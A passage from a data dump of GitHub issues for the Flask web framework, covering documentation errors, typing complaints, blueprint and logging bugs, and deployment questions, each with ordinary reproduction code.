from flask import Response, redirect


def handler() -> Response:
    return redirect("""")
```
```
❯ .tox/type/bin/mypy magic.py
magic.py:7: error: Incompatible return value type (got ""werkzeug.wrappers.response.Response"", expected ""flask.wrappers.Response"")  [return-value]
Found 1 error in 1 file (checked 1 source file)
~/git/dqc/bsso-flask on  timeout [!]
❯ .tox/type/bin/mypy --version
mypy 1.0.0 (compiled: yes)
```",typing,2023-02-13T20:16:49Z,2023-02-15T15:01:16Z,2
pallets/flask,1576970973,Support using GitHub Codespaces by adding a devcontainer,"**What will this do?**

The goal is to support the use of [GitHub Codespaces](https://docs.github.com/en/codespaces) for contributors. This will involve:
1. Adding a basic script file that runs all the initial setup commands outlined in [`CONTRIBUTING.rst`](https://github.com/pallets/flask/blob/main/CONTRIBUTING.rst#first-time-setup) along with the `pip install coverage` command
2. Adding a [`devcontainer.json`](https://docs.github.com/en/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers) that
    - Specifies the `PostCreateCommand` which runs the new script file at initial codespace creation
    - Species the `PostStartCommand` to activate the user's `venv` each time the codespace is started
    - Optionally installs any additional codespace customizations and/or recommended extensions
3. Updating the contributing guide to accommodate GitHub Codespaces users

The end result should be that contributors can simply click the ""Create codespace in..."" button in the Code dropdown to instantly create a code-ready development environment.

<img width=""434"" alt=""image"" src=""https://user-images.githubusercontent.com/55098699/217675579-59e2fd43-ee03-4c9b-ba3d-cfc67a518121.png"">

**What are the benefits?** 

Adding support for Codespaces means users can get setup on the project more quickly, without needing to clone their forked repository to a local machine or manually run initial setup commands. This w... [TRUNCATED]",,2023-02-08T23:50:41Z,2023-04-13T17:03:51Z,5
pallets/flask,1575244679,docs show test_request_context data setting request args.,"The `data` arg in `app.test_request_context()` is shown in the docs to set the request args, but as far as I can tell it isn't doing so.

I ran a minimal version of the [example in the docs](https://flask.palletsprojects.com/en/2.2.x/reqcontext/#manually-push-a-context)
```python
from flask import Flask, request
app = Flask(""test_app"")
def generate_report():
    format = request.args.get('format')
    print(format) # --> None

with app.test_request_context(
        '/make_report/2017', data={'format': 'short'}):
    generate_report()
```
The docs use `request.args.get('format')` which certainly implies that the data argument set there should set a request arg. But the code above just prints None. 

I assume that `data` in the example should be changed to `query_string` and that the `query_string` arg should be added to the docs [here](https://flask.palletsprojects.com/en/2.2.x/api/#flask.Flask.test_request_context)


Environment:

- Python version: 3.10 and 3.11
- Flask version: 2.2.2
",docs,2023-02-08T00:28:46Z,2023-02-10T18:53:39Z,5
pallets/flask,1572920629,Transactional tests,"It would be good if flask-smorest could support that end-to-end tests via the REST API can be made transactional, i.e. that I can do a `rollback()` after the tests are finished and the database is therefore not touched.
",,2023-02-06T16:48:47Z,2023-02-06T16:51:27Z,1
pallets/flask,1562216271,ipv6 address not accessible,"Hi,
I want to run the server on ipv6 address. I can see the port used by ipv6 address, however when called, it does not respond.

1) app.run(host='::', port=5000)
2) python -m flask run -h ::
 * Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on all addresses (::)
 * Running on http://[::1]:5000
 * Running on http://[2003:c6:4f1f:cd00:e4b0:a972:fdbb:ac6a]:5000

output of netstate
tcp6       0      0 :::5000                 :::*                    LISTEN      64170/python

Does not work for ipv6, works for ipv4 however.

Environment:

- Python version:3.8.10
- Flask version:.2.2.2
",,2023-01-30T11:03:53Z,2023-01-30T14:10:58Z,1
pallets/flask,1557458689,Why do docs recommend opening/closing sqlite3 connection for each request?,"In [this page](https://flask.palletsprojects.com/en/2.2.x/patterns/sqlite3/) the Flask docs present opening and closing a connection per request as the ""official"" way of working with sqlite3.

This does not make sense to me - surely opening and closing connections has some overhead, which can be avoided if a connection is shared across an entire application. Perhaps this overhead is negligible here, but I still couldn't get over it.

The problem is that a global connection created with `sqlite3.connect(DATABASE)` will raise an `Objects created in a thread can only be used in that same thread` error, due to the way (I assume) Flask processes web requests in worker threads.

As it turns out and [as explained here](https://ricardoanderegg.com/posts/python-sqlite-thread-safety/) this can be safely resolved by creating the connection with `sqlite3.connect(DATABASE, check_same_thread=False)` instead, as long as `sqlite3.threadsafety == 3` (the available variant of sqlite3 is in serialized mode).

Given this information, shouldn't the documentation suggest a global shared connection as the standard way of working with sqlite3?",,2023-01-26T00:38:41Z,2023-01-26T00:51:46Z,4
pallets/flask,1551848735,Edit README.rst in examples/tutorial,"When trying to run the following command from README.rst:

$ flask --app flaskr run --debug

Receive the following message:
Usage: flask run [OPTIONS]
Try 'flask run --help' for help.
Error: No such option: --debug (Possible options: --debugger, --no-debugger)

It is needed to correct the command to:

$ flask --app flaskr run

To recieve the following (correct) message:
* Serving Flask app 'flaskr'
 * Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
Running on http://127.0.0.1:5000
Press CTRL+C to quit

Environment:

- Python version: 3.11.1
- Flask version: 2.2.2
",,2023-01-21T16:38:19Z,2023-01-21T16:47:16Z,2
pallets/flask,1550162820,[docs] clarify that Blueprint.before_request is not for all requests,"# Summary

[The documentation for `Blueprint.before_request`](https://flask.palletsprojects.com/en/2.2.x/api/?highlight=before_request#flask.Blueprint.before_request) says:

> Register a function to run before each request.

This is not quite true. This decorator will only register a function to be run before each request *for this blueprint's views*. 
The documentation today made it seem to me like `before_request` does what `before_app_request` does.

I think the docs should be amended to qualify when the registered functions get run, and link/compare to `before_app_request`. 

I know it seems like overkill, and you're probably wondering why I didn't notice the documentation for `before_app_request` right above this. I'd clicked on an anchor from search results, so `before_app_request` was off-screen. Since `before_app_request` doesn't exist on a `Flask` object, and since the documentation for `before_request` sounded like what I wanted, it didn't occur to me to scroll up.

# MWE

Just to clarify the example:

This code fails with `before_request`, and succeeds with `before_app_request`:

```
from flask import Blueprint, Flask

simple_page = Blueprint('simple_page', __name__)

@simple_page.route('/')
def show():
    return (""Hello world"", 200)

hook_bp = Blueprint('decorator', __name__)

# global var to be mutated
count = {'count': 0}

@hook_bp.before_request
def before_request():
    print(""before_request hook called"")
    count['count']... [TRUNCATED]",docs,2023-01-20T00:45:25Z,2023-02-10T18:42:55Z,0
pallets/flask,1537843275,redirection loop in wsgi middleware and @app.before_request,"Hi,

just want to ask if this is right or this is a bug or what is your fix for this. I am trying to use the redirect() inside the @app.before_request it does not throw an error but it loops the redirect in the browser. 

```python
@app.before_request
def before_request():
        return app.redirect('/about')  
```

and this also happen in wsgi middleware i use header location to redirect

```python
class GlobalMiddleware():
	def __init__(self, app):
		self.app = app

	def __call__(self, environ, start_response):
		msg = {'msg': 'Authorization failed'}

		res = Response(json.dumps(msg), mimetype='application/json', status=302)
		res.headers['Location'] = '/about'
		return res(environ, start_response)
```
```python
app.wsgi_app = GlobalMiddleware(app.wsgi_app)
```

here is the pic in the browser
[pic 1](https://ibb.co/0CHBJfK)
[pic 2](https://ibb.co/ZXwRG3S)

the loop happen in the browser and it goes on and on until the browser stop and throw an error
btw i use flask 2.2.2 and python 3.11.1",,2023-01-18T11:34:02Z,2023-01-18T13:04:56Z,1
pallets/flask,1535647456,Switch from `setup.py` to `pyproject.toml`?,"Now that https://github.com/dependabot/dependabot-core/issues/3290 has shipped, it should be possible to replace this:
https://github.com/pallets/flask/blob/9da947a279d5ed5958609e0b6ec690160c496480/setup.py#L3-L17

with a `pyproject.toml` file... allowing you to completely drop `setup.py`.

Curious why you chose not to do that yet?",,2023-01-17T01:08:33Z,2023-01-20T21:55:01Z,3
pallets/flask,1531522512,Blueprint 404 handlers are not invoked for Blueprints with an empty name,"The docs suggest that, if a blueprint's view function calls `abort(404)`, the blueprint's `errorhandler(404)` will be called:
https://github.com/pallets/flask/blob/9da947a279d5ed5958609e0b6ec690160c496480/docs/errorhandling.rst#L397-L399
However, that does not seem to be the case:
``` python
# sscce.py

from flask import Flask, Blueprint, abort

app = Flask(__name__)
blueprint = Blueprint("""", __name__)


@blueprint.route(""/"")
def router():
    abort(404)


@blueprint.errorhandler(404)
def handler(e):
    return ""it worked"", 404


if __name__ == ""__main__"":
    app.register_blueprint(blueprint)
    response = app.test_client().get(""/"")
    assert response.text == ""it worked"", response.text
```
``` console
$ python3.8 -m venv venv
$ venv/bin/python -m pip install flask
...
Successfully installed Jinja2-3.1.2 MarkupSafe-2.1.1 Werkzeug-2.2.2 click-8.1.3 flask-2.2.2 importlib-metadata-6.0.0 itsdangerous-2.1.2 zipp-3.11.0
$ venv/bin/python sscce.py
Traceback (most recent call last):
  File ""sscce.py"", line 22, in <module>
    assert response.text == ""it worked"", response.text
AssertionError: <!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>

```
This diff causes the handler to be called (but also causes the handler to be called for all views, not just those of the blueprint):
``` diff... [TRUNCATED]",,2023-01-13T00:18:42Z,2023-02-10T19:13:53Z,4
pallets/flask,1522023830,"UserWarning: The setup method 'add_url_rule' can no longer be called on the blueprint 'api'. It has already been registered at least once, any changes will not be applied consistently.","### Discussed in https://github.com/pallets/flask/discussions/4940

<div type='discussions-op-text'>

<sup>Originally posted by **sebvargo** January  5, 2023</sup>
Hello. I am launching a Flask app and keep getting this warning. I thought adding an app factory function and creating an app context would solve the issue, but the warning persists:

> **UserWarning:** The setup method 'add_url_rule' can no longer be called on the blueprint 'api'. It has already been registered at least once, any changes will not be applied consistently. Make sure all imports, decorators, functions, etc. needed to set up the blueprint are done before registering it.
> This warning will become an exception in Flask 2.3.
>   app_or_blueprint.add_url_rule(self.prefix or ""/"", ""root"", self.render_root)

This is my project setup:

|   main.py
+---app
|   |   __init__.py
|   |   
|   +---api
|   |   |   routes.py
|   |   |   __init__.py
|   |   |   
|   |   \---__pycache__
|   |           routes.cpython-39.pyc
|   |           __init__.cpython-39.pyc
|   |           
|   +---apidocs
|   |   |   routes.py
|   |   |   __init__.py
|   |   |   
|   +---templates
|   |   +---api
|   |   \---apidocs
|   |           home.html

**main.py**
```
from app import create_app
from dotenv import load_dotenv
import os

load_dotenv()   # load .env file into environment variables

if __name__ == '__main__':
    app = create_app()
    
    if os.getenv(""APP_ENVIRONMENT"") == ""dev""... [TRUNCATED]",,2023-01-06T06:14:21Z,2023-01-06T10:31:42Z,2
pallets/flask,1521499524,Date HTTP header duplicated on static content,"Using `Flask 2.2.2`, it seems that serving static resources leads to a duplicate `Date` HTTP Header field.

Here is a simple snippet easy to understand and to show how to reproduce:
```python
from flask import Flask

app = Flask(__name__, static_url_path='/static')

@app.route('/', methods=['GET'])
def index():
    return ""Hello World""

app.run(port=30887)
```

Let's create a simple file inside `static` directory:
```bash
mkdir static
echo Hello > style.css
```

Now let's check HTTP headers:
```http
maxux@workx0 ~ $ curl -I http://127.0.0.1:30887
HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.10.8
Date: Thu, 05 Jan 2023 21:53:31 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 11
Connection: close
```
All good here.

```http
maxux@workx0 ~ $ curl -I http://127.0.0.1:30887/static/style.css
HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.10.8
Date: Thu, 05 Jan 2023 21:53:53 GMT                <<<<
Content-Disposition: inline; filename=style.css
Content-Type: text/css; charset=utf-8
Content-Length: 6
Last-Modified: Thu, 05 Jan 2023 21:50:59 GMT
Cache-Control: no-cache
ETag: ""1672955459.103843-6-1459357711""
Date: Thu, 05 Jan 2023 21:53:53 GMT                <<<<
Connection: close
```
You can see `Date` header twice, for a static content response.

In addition, you can see python and Flask running version in the response as well to confirm running version.

This was spotted using nginx on front which complains (by a war... [TRUNCATED]",,2023-01-05T21:56:50Z,2023-01-05T22:00:13Z,1
pallets/flask,1515009635,Unable to unlock Console after file reloading in debug mode,"### Content
Unable to unlock Console after file reloading in debug mode

### Reproduce
```python
from flask import request,Flask
app=Flask(__name__)
@app.route('/err')
def err():
    return 1/0
app.run(debug=True)
```
1. Save the code to a file, run it
2. Open `http://127.0.0.1:5000/err` for the error page
3. Make some minor changes(e.g., spaces, comments) to the file and save, trigger a hot reload
4. Don't refresh the page opened before, click `Open an interactive python shell in this frame` at the right of `return 1/0`.
5. Enter any PIN, got an `Error: Could not verify PIN.  Network error?`

### Expect
the PIN verification should behave properly.

### Traceback
```
D:\>python flt.py
 * Serving Flask app 'flt'
 * Debug mode: on
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on http://127.0.0.1:5000
Press CTRL+C to quit
 * Restarting with watchdog (windowsapi)
 * Debugger is active!
 * Debugger PIN: 974-140-517
127.0.0.1 - - [31/Dec/2022 13:10:25] ""GET /err HTTP/1.1"" 500 -
Traceback (most recent call last):
  File ""C:\Users\Administrator\AppData\Local\Programs\Python\Python310\lib\site-packages\flask\app.py"", line 2548, in __call__
    return self.wsgi_app(environ, start_response)
  File ""C:\Users\Administrator\AppData\Local\Programs\Python\Python310\lib\site-packages\flask\app.py"", line 2528, in wsgi_app
    response = self.handle_exception(e)
  File ""C:\U... [TRUNCATED]",,2022-12-31T05:14:43Z,2022-12-31T06:46:12Z,1
pallets/flask,1513879858,"Documentation: ""flask --app hello run --debug""  no longer works","The vanilla command to activate the development server is documented as:

$ flask --app hello run --debug 

on 

https://flask.palletsprojects.com/en/2.2.x/server/   copyright 2010 (Really, no changes since 2010?)

no longer works.  Specifically the '--debug' option seems to be obsolete.

$ flask run --help     says use

--debugger / --no-debugger  and strongly implies that the debugger is on by default (although there is room for a different interpretation).

The web page and help are not aligned.


Replication:

$ flask --app flasker run --debug    produces an error

$ flask --app flaskr run --debugger   starts the development server.

I did not check if the debugger is on by default


Describe the expected behavior that should have happened but didn't:

Per https://flask.palletsprojects.com/en/2.2.x/server/  

$ flask --app hello run --debug

should start the development server.


Environment:

- Python version: 3.11.0
- Flask version:  2.2.2
- Werkzeug: 2.2.2
- Windows: Microsoft Windows 11 Pro, 10.0.22623 Build 22623",,2022-12-29T16:25:14Z,2022-12-29T17:44:27Z,1
pallets/flask,1513879653,Testing with authenticated and anonymous client at the same time gives mixed results,"I want to test the unauthenticated endpoints of my application, after creating an authentication-required resource, and I am getting that the anonymous client is actually authenticated :-/.

```python
import pytest

@pytest.fixture(scope=""module"")
def app():
    app = create_app()
    app.test_client_class = APIAwareFlaskLoginClient
    yield app

@pytest.fixture
def client(app):
    with app.test_client() as client:
        yield client

@pytest.fixture
def authenticated_client(app):
    with app.test_client() as client:
        client.post(""/api/auth/login"", json=dict())
        yield client

@pytest.fixture
def create_resources(authenticated_client):
    response = authenticated_client.post('/api/myresource', json=dict())
    return response

def test_participant_not_logged_in(client, create_study):
    study_id = create_study.json['id']

    questions_response = client.get(f'/api/studies/{study_id}/questions')
    assert questions_response.status_code == 401
```
 The test test_participant_not_logged_in should fail because the client is not authenticated. When breaking on the first statement of that function I verify that the cookie jar of the client is empty (so, is not authenticated), but when hitting the url with the get... it comes as authenticated. How is this possible? I have been looking around and cannot explain this behavior. Am I doing something wrong, or this is a bug?


Environment:

- Python version: 3.10.8
- Flask versio... [TRUNCATED]",,2022-12-29T16:24:57Z,2022-12-29T17:42:55Z,3
pallets/flask,1511186133,Docs are incorrect about how to run a debug server,"> Python 3.9.13
> Flask 2.2.2
> Werkzeug 2.2.2
> 

The docs, in more than one place:

* https://flask.palletsprojects.com/en/2.2.x/quickstart/#debug-mode
* https://flask.palletsprojects.com/en/2.2.x/server/#command-line

say to run `flask run --debug` but that doesn't actually work:

```
Usage: flask run [OPTIONS]
Try 'flask run --help' for help.

Error: No such option: --debug (Possible options: --debugger, --no-debugger)
```
You need to run `flask --debug run `


",,2022-12-26T19:42:53Z,2022-12-26T20:26:00Z,1
pallets/flask,1509240761,flask does not return json,"https://stackoverflow.com/questions/74690796/python-flask-request-get-json-returns-none-but-request-is-json

<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->
for whatever reason, flask decided that the request is not json and returns None instead of the json data
<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->
not sure
<!--
Describe the expected behavior that should have happened but didn't.
-->

Environment:

- Python version: 3,10,7
- Flask version: 2.1.7
",,2022-12-23T11:33:08Z,2022-12-23T11:36:13Z,2
pallets/flask,1509238039,Flask stops responding to requests if Process Pool exhausted,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->
If there are more pending requests than the number of processes available for one client to process requests and the backend code runs forever or for a long time, flask won't respond to other requests. A typical response would be 500 - or it could start creating more processes, killing those that aren't working or at least inform the programmer.
<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->

You can easily replicate this bug by adding a route with the following code

```
def buggycode():
  import time
  while True:
     time.sleep(30)

```
<!--
Describe the expected behavior that should have happened but didn't.
-->



Environment:

- Python version: 3.10.7
- Flask version: 2.1.3
",,2022-12-23T11:30:03Z,2022-12-23T11:38:12Z,3
pallets/flask,1506699051,Logging bug when two Flask apps are initialized,"I encountered a strange log related bug in the unit tests of a project I am working on. Here is the most minimalist snippet I could write to reproduce the bug.

The `run` method configures logs to be saved in a file, initializes an empty Flask application produces one log entry. The snippet runs the method twice, with two different log paths. The first time the method is ran, a log is actually produced in the expected log file, but not the second time.

```python
import os
import logging.config

from flask import Flask


def run(log_path):
    logging.config.dictConfig(
        {
            ""version"": 1,
            ""formatters"": {
                ""default"": {
                    ""format"": ""%(message)s"",
                }
            },
            ""handlers"": {
                ""default"": {
                    ""class"": ""logging.FileHandler"",
                    ""filename"": log_path,
                    ""formatter"": ""default"",
                },
            },
            ""root"": {""level"": ""DEBUG"", ""handlers"": [""default""]},
        }
    )

    app = Flask(__name__)
    app.logger.info(""FOOBAR"")

    with open(log_path) as fd:
        assert fd.read(), ""log file is empty""

    os.remove(log_path)


run(""/tmp/firstlog.txt"")
run(""/tmp/secondlog.txt"")
```

```python
Traceback (most recent call last):
  File ""/path/to/flask_logging.py"", line 37, in <module>
    run(""/tmp/secondlog.txt"")
  File ""/path/to/flask_logging.py"", line 31, i... [TRUNCATED]",,2022-12-21T17:49:49Z,2022-12-24T21:29:54Z,1
pallets/flask,1498805041,Deprecation of before_first_request leads to issue with Gunicorn --preload while launching a Thread in the Setup Code,"Flask 2.2.2 has deprecated `before_first_request`, advising us to instead run the setup code in the the factory function that creates the `app`.

I've found a case where this solution does not work. The prerequisite is that the application is launched from Gunicorn with the `--preload` option, and that you want to have a global variable which is shared among all the workers/threads.

Running generic setup code results in the memory of the global variable apparently not being shared, while running the code in `before_first_request` behaves according to expectations.

-----

Here is the code to reproduce.

It has a global variable called `global_list`. There is a thread that is supposed to be launched in the setup code that append values onto the global variable. A GET API will return the result of the global variable.

When using `before_first_request`, it runs as expected. Calling GET will return the populated values in the list.

When using independent setup code, the global variable is not global and is not shared.

```
from flask import Flask, Blueprint
import threading
import time

global_list = []

bp = Blueprint('hello', __name__)


@bp.get('/')
def home():
    return global_list


def create_app():
    app = Flask(__name__)
    app.register_blueprint(bp)
    run_setup_code()
    # this works fine but is deprecated in 2.2.2
    # app.before_first_request(run_setup_code)
    return app


def run_setup_code():
    t = threading.Thr... [TRUNCATED]",,2022-12-15T17:13:53Z,2022-12-15T18:05:30Z,1
pallets/flask,1495193884,API Docs: typo in `tojson` example,"API Documentation since 2.0.x has included a typographical error in the code example for using the `tojson` filter in a Jinja template:

```
<script>
    const names = {{ names|tosjon }};
    renderChart(names, {{ axis_data|tojson }});
</script>
```

`names|tosjon` should be `names|tojson`

The first documentation version this occurs is in `2.0.x`, and it continues to occur through the current `latest`.
",,2022-12-13T21:34:14Z,2022-12-14T00:36:16Z,1
pallets/flask,1489233719,"Type of SessionMixin underspecified, flask.session.get() fails strict type-check","To reproduce:
```python
from flask import session

session.get(""foo"")
```
Produces a pyright/Pylance error in VSCode in strict typing mode:
```
Type of ""get"" is partially unknown
  Type of ""get"" is ""Overload[(__key: Unknown, /) -> (Unknown | None), (__key: Unknown, /, default: Unknown | _T@get) -> (Unknown | _T@get)]""Pylance[reportUnknownMemberType]
```
`mypy --strict` doesn't seem to mind, but it also accepts `session.get({""a"": 7})` without complaint, so perhaps not a good measure.

Changing the offending line like this fixes the problem:
```python
cast(MutableMapping[str, Any], session).get(""foo"")
```

Based on this observation I changing this line in the `SessionMixin` declaration, which also fixes the problem:
https://github.com/pallets/flask/blob/main/src/flask/sessions.py#L21
```python
# --- from ---
class SessionMixin(MutableMapping):

# --- to ---
class SessionMixin(MutableMapping[t.Hashable, t.Any]):
```

I'm not sure if I've gotten those types exactly right, I believe they are the broadest possible types, but perhaps keys are limited to `str` or values could be narrowed.

Happy to submit a pull request if that's a help. Thanks so much for Flask, it is an immensely important contribution to the Python ecosystem I make my living in :)

Environment:

- Python version: 3.10.7
- Flask version: 2.2.2
",typing,2022-12-11T01:24:08Z,2023-01-05T16:21:58Z,1
pallets/flask,1479781149,JavaScript file upload,"Hello,

I'm trying to upload files to Flask using Javascript. On [this page](https://flask.palletsprojects.com/en/2.2.x/patterns/fileuploads/) I can read how to do that with an HTML form. However I'm not able to do the same with pure JavaScript.

To replicate:
```
const form = new FormData();
const files = document.getElementById('media-files').files;
for (let i = 0; i < files.length; i++) {
    form.append(`file[${i}]`, files[i]);
}
await fetch('/api/v1/media', {
    method: 'POST',
    body: form,
    headers: {'Content-Type': 'multipart/form-data'}
});
```

In Flask `request.data` is not empty. But `request.files` and `request.form` are.

Any help would be greatly appreciated.

Environment:
- Python version: 3.11
- Flask version: 2.2.2",,2022-12-06T18:01:46Z,2022-12-06T18:06:45Z,1
pallets/flask,1473561545,flask.url_for no longer supporting values parameter,"In Flask 2.2.2, `flask.url_for` is no longer using the `values` parameter as a proxy for the keyword arguments list, and is instead turning that into a URL parameter.

For example, in previous versions of Flask, I was able to do something like:

```
@app.route('/one')
def some_endpoint():
    return flask.redirect(flask.url_for(""other_endpoint"", values=flask.request.args))

@app.route('/two')
def other_endpoint():
    return ""Hello""
```

and then a request to e.g. `/one?foo=bar&foo=baz` would then redirect to `/two?foo=bar&foo=baz`. However, now it redirects to `/two?values=ImmutableMultiDict([('foo',+'bar'),+('foo',+'baz')])`.

I'm guessing that the underlying parameter name for the keyword arguments list has changed, but [the documentation](https://flask.palletsprojects.com/en/2.2.x/api/?highlight=url_for#flask.Flask.url_for) has not been updated to reflect this.

As a workaround I can do e.g. `url_for(""other_endpoint"", **request.args)`, but this doesn't properly preserve argument lists with multiple identical keys.

Environment:

- Python version: 3.10.8
- Flask version: 2.2.2, Werkzeug 2.2.2
",,2022-12-02T23:09:02Z,2022-12-02T23:30:02Z,6
pallets/flask,1471845430,Allow template_folder to be a pathlib.Path object,"When constructing the Flask object, it would be nice if template_folder could be either a string (currently) or a pathlib.Path object. This would match static_folder, which is currently typed as `Union[str, os.PathLike]`. That functionality was added in  #3579; I was unable to find any reason why the same wasn't done for template_folder, so I assume it was an unintentional omission.

https://flask.palletsprojects.com/en/2.2.x/api/#application-object

Not having this functionality is not a dealbreaker, as it's pretty simple to do `template_folder=str(path)`, but it would be nice and match static_folder. In SecureDrop our code is going to look like:
```python3
    app = Flask(
        __name__,
        template_folder=str(config.JOURNALIST_TEMPLATES_DIR.absolute()),
        static_folder=config.STATIC_DIR,
    )
```

...so implementing this would be nice.",typing,2022-12-01T19:37:13Z,2022-12-24T18:29:54Z,1
pallets/flask,1467339887,Heroku Deployment Tutorial,"
I wrote a simple tutorial a month ago on how to deploy a Flask project on Heroku for an assignment for the open source software course I am enrolled for my computer science program. A requirement is for the assignment is to contribute to an open source project and submit a pull request to project.  Hopefully I followed CONTRIBUTING.rst correctly. If anything you can close this issue and close the pull request.

This tutorial was written prior to announcement where Heroku stated that they will no longer be providing a free package for their dyno management system. The tutorial was recently updated to bring attention to this change. 

This tutorial was written to help others deploy their Flask projects on Heroku through the utilization of a Github account and repository. 

",,2022-11-29T02:10:34Z,2022-11-29T04:59:42Z,1
pallets/flask,1465337250,Documentation enhancement request,"I noticed that although there is a Code of Conduct file available to view in the main GitHub page, it does not seem to be prominently linked in the documentation here on GitHub. 
It is mentioned in the Discord server if someone chooses to join that, but I feel it could use a bit more visibility.
I added a link to the Code of Conduct on both the README and CONTRIBUTING pages.

I also updated some of the verbiage in the README sample program section, for clarity for newer users.

Full disclosure, this was completed as part of a school project and this is my first Open Source contribution.
If anything I submitted looks interesting enough to add, I would love for it to be accepted.
Otherwise, no hard feelings and please just discard or reject this request.

Thank you for your consideration.",,2022-11-27T05:27:17Z,2022-11-28T15:53:09Z,1
pallets/flask,1462602545,Replacing before_first_request,"Flask's `before_first_request` is being deprecated, due to some fairly valid reasoning. I totally get the reasoning behind it, and I even agree with it!

However, I have a Flask-based publishing framework that relies on its behavior. In particular, my framework wraps Flask via inheritance. This framework makes use of another library which needs to be able to access `app.secret_key` at the time of its own instantiation, and also call `app.add_url_rule` before the first request is handled. In effect, this code happens in my framework's `__init__`:

```python
class ExtendedApp(flask.Flask):
    def __init__(self, name, cfg, **kwargs):
        super().__init__(name, cfg, **kwargs)

        self.before_first_request(self._setup_other_library)

    def _setup_other_library(self):
        self._library_instance = OtherLibrary(self)
```

and then to keep things simple, my framework's setup looks like:

```python
app = ExtendedApp(...)
app.secret_key = 'sd89u7f9sduf9sd'
```

Since `OtherLibrary`'s constructor needs to be able to obtain the already-set `app.secret_key` as part of its setup, and needs to be able to `add_url_rule` on the Flask application before the first request is served, this setup can't happen conditionally in the first request's `before_request` handler, and I'd rather not have to add another method to ExtendedApp like `finish_setup()` or the like.

Also, I had originally *not* used inheritance (instead providing a library function that gener... [TRUNCATED]",,2022-11-24T00:42:34Z,2022-11-24T04:44:55Z,0
pallets/flask,1460218427,Flask displaying old / cached version of the app,"A handful of my students are encountering an issue whereby they are developing a flask app locally, and when they make some new changes to the code and restart the local web server, it doesn't show the updated changes, but rather what appears to be an older state of the web app code.

I have confirmed they are saving the files properly and restarting the web app, and their code looks identical to mine and other students whose apps are working locally. The weird thing is the same code and usage command works for me and many of my students, but not for a few of them.

To replicate the bug, we are using the following application factory function in the ""web_app/\_\_init\_\_.py"" file, and running the app with `FLASK_APP=web_app flask run` command:

```py
# this is the ""web_app/__init__.py"" file...

from flask import Flask

from web_app.routes.home_routes import home_routes

def create_app():
    app = Flask(__name__)
    app.register_blueprint(home_routes)
    return app

if __name__ == ""__main__"":
    my_app = create_app()
    my_app.run(debug=True)
```

We tried using the configuration variable `app.config[""TEMPLATES_AUTO_RELOAD""] = True` in the application factory function, but it has no effect.

We also tried removing / commenting out the code in the main conditional at the bottom of the ""web_app/\_\_init\_\_.py"" file, upgrading Flask version to 2.2.1, and using the new flask run command `flask --app web_app --debug run`. But that shows the same behav... [TRUNCATED]",,2022-11-22T16:45:38Z,2022-11-22T16:53:03Z,0
pallets/flask,1457208664,RuntimeError: cannot join current thread,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->
I use flask_apscheduler to run a scheduled task, and the scheduled task involves a multiprocess task. What's more, I deploy my app with uwsgi, and then I get this error:

```bash
Sun Nov 20 22:39:00 2022 - SIGPIPE: writing to a closed pipe/socket/fd (probably the client disconnected) !!!
Sun Nov 20 22:39:01 2022 - SIGPIPE: writing to a closed pipe/socket/fd (probably the client disconnected) !!!
Sun Nov 20 22:39:01 2022 - SIGPIPE: writing to a closed pipe/socket/fd (probably the client disconnected) !!!
Sun Nov 20 22:39:02 2022 - SIGPIPE: writing to a closed pipe/socket/fd (probably the client disconnected) !!!
Sun Nov 20 22:39:02 2022 - SIGPIPE: writing to a closed pipe/socket/fd (probably the client disconnected) !!!
Sun Nov 20 22:39:06 2022 - SIGPIPE: writing to a closed pipe/socket/fd (probably the client disconnected) !!!
Error in atexit._run_exitfuncs:
Traceback (most recent call last):
  File ""/home/tops/lib/python3.7/concurrent/futures/thread.py"", line 40, in _python_exit
    t.join()
  File ""/home/tops/lib/python3.7/threading.py"", line 1029, in join
    raise RuntimeError(""cannot join current thread"")
RuntimeError: cannot join current thread
```

<!--
Describe how to replicate the bug.

Include a minimal reproducible example that ... [TRUNCATED]",,2022-11-21T02:47:56Z,2022-11-21T02:53:42Z,0
pallets/flask,1451415792,docs should explain the `@setupmethod` behavior,"The [appcontext documentation](https://flask.palletsprojects.com/en/2.2.x/appcontext/) should explain the new @setupmethod 'shell_context_process' behavior, linked to https://github.com/pallets/flask/pull/4577.

Flask raises an Assertion Error.

> AssertionError: The setup method 'shell_context_processor' can no 
    longer be called on the application. It has already handled its 
    first request, any changes will not be applied consistently. Make
    sure all imports, decorators, functions, etc. needed to set up the 
    application are done before running it.

The error should be documented, and a correct implementation should be provided.
",docs,2022-11-16T11:31:02Z,2023-02-10T22:57:46Z,3
pallets/flask,1446476736,Plesk integration,Pleask is one of the best admin control panel in the market. Would not it be nice to have an easy deployment plugin?,,2022-11-12T14:38:22Z,2022-11-12T14:48:27Z,2
pallets/flask,1445616847,Blueprint static serving ignores the blueprint's subdomain,It should set the same subdomain as the blueprint.,blueprints,2022-11-11T15:17:54Z,2023-01-07T20:17:39Z,1
pallets/flask,1438185158,Improve JSONIFY_MIMETYPE deprecation warning,"With version 2.2 of flask, `JSONIFY_MIMETYPE` was deprecated in favor of `DefaultJSONProvider`'s `mimetype` class property.
When `JSONIFY_MIMETYPE` is still used, a `DeprecationWarning` is raised: 

> The 'JSONIFY_MIMETYPE' config key is deprecated and will be removed in Flask 2.3. Set 'app.json.mimetype' instead.

When following this instruction, [pyright](https://github.com/RobertCraigie/pyright-python) reports an error, though:

